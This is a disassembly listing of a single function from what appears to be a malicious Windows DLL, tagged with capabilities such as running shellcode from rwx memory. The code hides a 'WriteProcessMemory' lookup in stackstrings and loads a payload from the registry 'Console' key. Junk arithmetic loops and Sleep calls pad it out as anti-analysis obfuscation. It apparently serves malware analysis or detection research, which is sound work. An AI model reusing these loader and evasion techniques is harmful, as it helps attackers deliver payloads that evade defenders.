Function at 0x180001a00
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov qword [rbp - 1], 0xfffffffffffffffe
call fcn.180001170
test eax, eax
je 0x180001a29
call fcn.1800010e0
call fcn.180001220
test eax, eax
je 0x180001a37
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x180001a45
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001a53
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a61
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x180001a6f
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a7d
call fcn.1800012d0
call fcn.180001220
test eax, eax
je 0x180001a8b
call fcn.1800012d0
call fcn.180001380
test eax, eax
je 0x180001a99
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180001aa7
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180001ab5
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180001ac3
call fcn.180001380
call fcn.180001220
test eax, eax
je 0x180001ad1
call fcn.1800014e0
call fcn.1800012d0
test eax, eax
je 0x180001adf
call fcn.180001590
call fcn.180001380
test eax, eax
je 0x180001aed
call fcn.1800010e0
call fcn.180001430
test eax, eax
je 0x180001afb
call fcn.180001170
call fcn.180001220
test eax, eax
je 0x180001b09
call fcn.180001170
call fcn.1800010e0
test eax, eax
je 0x180001b17
call fcn.1800012d0
call fcn.180001170
test eax, eax
je 0x180001b25
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x180001b33
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001b41
call fcn.1800010e0
call fcn.180001220
test eax, eax
je 0x180001b4f
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x180001b5d
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001b6b
call fcn.1800010e0
call fcn.180001380
test eax, eax
je 0x180001b79
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180001b87
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180001b95
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180001ba3
call fcn.180001380
call fcn.1800010e0
test eax, eax
je 0x180001bb1
call fcn.180001380
call fcn.180001170
test eax, eax
je 0x180001bbf
call fcn.180001430
call fcn.180001220
test eax, eax
je 0x180001bcd
call fcn.1800014e0
call fcn.1800012d0
test eax, eax
je 0x180001bdb
call fcn.180001590
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180001c33
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800295f8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbp - 0x11], 0xf
xor r12d, r12d
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], r12b
lea edx, [r12 + 0xc]
lea rcx, [rbp - 0x29]
call fcn.180003f10
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 7]
call fcn.1800018b0
nop
cmp qword [rbp - 0x11], 0x10
jb 0x180001c73
mov rcx, qword [rbp - 0x29]
call fcn.1800054f0
mov qword [rbp - 0x11], 0xf
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], 0
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x51]
call fcn.1800019e0
nop
call fcn.1800010e0
test eax, eax
je 0x180001c9f
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x180001cad
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001cbb
call fcn.1800012d0
call fcn.180001220
test eax, eax
je 0x180001cc9
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x180001cd7
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001ce5
call fcn.180001220
call fcn.180001220
test eax, eax
je 0x180001cf3
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001d01
call fcn.180001170
call fcn.180001380
test eax, eax
je 0x180001d0f
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180001d1d
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180001d2b
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180001d39
call fcn.180001380
call fcn.1800012d0
test eax, eax
je 0x180001d47
call fcn.180001590
call fcn.180001380
test eax, eax
je 0x180001d55
call fcn.1800010e0
call fcn.180001430
test eax, eax
je 0x180001d63
call fcn.180001170
call fcn.1800014e0
test eax, eax
je 0x180001d71
call fcn.180001220
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x7f]
mov qword [rsp + 0x20], r11
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x77], r12d
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800010e0
test eax, eax
je 0x180001dbf
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x180001dcd
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ddb
call fcn.1800012d0
call fcn.180001220
test eax, eax
je 0x180001de9
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x180001df7
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001e05
call fcn.180001220
call fcn.180001220
test eax, eax
je 0x180001e13
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001e21
call fcn.180001170
call fcn.180001380
test eax, eax
je 0x180001e2f
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180001e3d
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180001e4b
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180001e59
call fcn.180001380
call fcn.180001170
test eax, eax
je 0x180001e67
call fcn.180001430
call fcn.180001220
test eax, eax
je 0x180001e75
call fcn.1800014e0
call fcn.1800012d0
test eax, eax
je 0x180001e83
call fcn.180001590
call fcn.180001380
test eax, eax
je 0x180001e91
call fcn.1800010e0
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004a28
mov rbx, rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001170
test eax, eax
je 0x180001ee1
call fcn.1800010e0
call fcn.180001220
test eax, eax
je 0x180001eef
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x180001efd
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180001f0b
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001f19
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x180001f27
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001f35
call fcn.1800012d0
call fcn.180001220
test eax, eax
je 0x180001f43
call fcn.1800012d0
call fcn.180001380
test eax, eax
je 0x180001f51
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180001f5f
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180001f6d
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180001f7b
call fcn.180001380
call fcn.1800010e0
test eax, eax
je 0x180001f89
call fcn.1800014e0
call fcn.180001170
test eax, eax
je 0x180001f97
call fcn.180001590
call fcn.180001220
test eax, eax
je 0x180001fa5
call fcn.180001380
call fcn.1800012d0
test eax, eax
je 0x180001fb3
call fcn.180001430
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004a28
mov rsi, rax
call fcn.1800012d0
test eax, eax
je 0x180001ff8
call fcn.180001170
call fcn.180001170
test eax, eax
je 0x180002006
call fcn.180001220
call fcn.180001220
test eax, eax
je 0x180002014
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180002022
call fcn.180001170
call fcn.180001220
test eax, eax
je 0x180002030
call fcn.180001170
call fcn.1800010e0
test eax, eax
je 0x18000203e
call fcn.1800012d0
call fcn.180001170
test eax, eax
je 0x18000204c
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x18000205a
call fcn.180001170
call fcn.180001380
test eax, eax
je 0x180002068
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x180002076
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x180002084
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x180002092
call fcn.180001380
call fcn.180001170
test eax, eax
je 0x1800020a0
call fcn.180001430
call fcn.180001220
test eax, eax
je 0x1800020ae
call fcn.1800014e0
call fcn.1800012d0
test eax, eax
je 0x1800020bc
call fcn.180001590
call fcn.180001380
test eax, eax
je 0x1800020ca
call fcn.1800010e0
cmp dword [rbp + 0x77], 0
jbe 0x1800020f5
mov rdx, rsi
sub rbx, rsi
mov r8, rsi
neg r8
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rdx], al
inc rdx
lea rcx, [r8 + rdx]
mov eax, dword [rbp + 0x77]
cmp rcx, rax
jb 0x1800020e0
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002138
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000218c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000217f
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x180002160
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000218c
call fcn.180001170
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x1800021ab
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x1800021be
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x18000220a
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800021fd
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800021e0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000220a
call fcn.1800012d0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002241
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002288
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000227e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002261
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x18000228d
call fcn.180001220
call fcn.1800012d0
test eax, eax
je 0x18000229b
call fcn.180001170
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800022d2
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002319
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000230f
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x1800022f2
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002393
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x180002338
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000234b
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002393
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000238d
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x180002370
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800023cc
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000241c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000240f
nop dword [rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x1800023f0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000241c
call fcn.1800012d0
call fcn.1800012d0
test eax, eax
je 0x18000242a
call fcn.180001170
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002461
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x1800024a8
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000249e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002481
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002523
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x1800024c7
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x1800024da
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002523
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000251d
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x180002500
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
call fcn.180001380
test eax, eax
je 0x180002531
call fcn.180001430
call fcn.180001430
test eax, eax
je 0x18000253f
call fcn.1800014e0
call fcn.1800014e0
test eax, eax
je 0x18000254d
call fcn.180001590
call fcn.180001590
test eax, eax
je 0x18000255b
call fcn.180001380
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000257a
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000258d
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800025da
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800025cd
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800025b0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800025da
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002611
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002658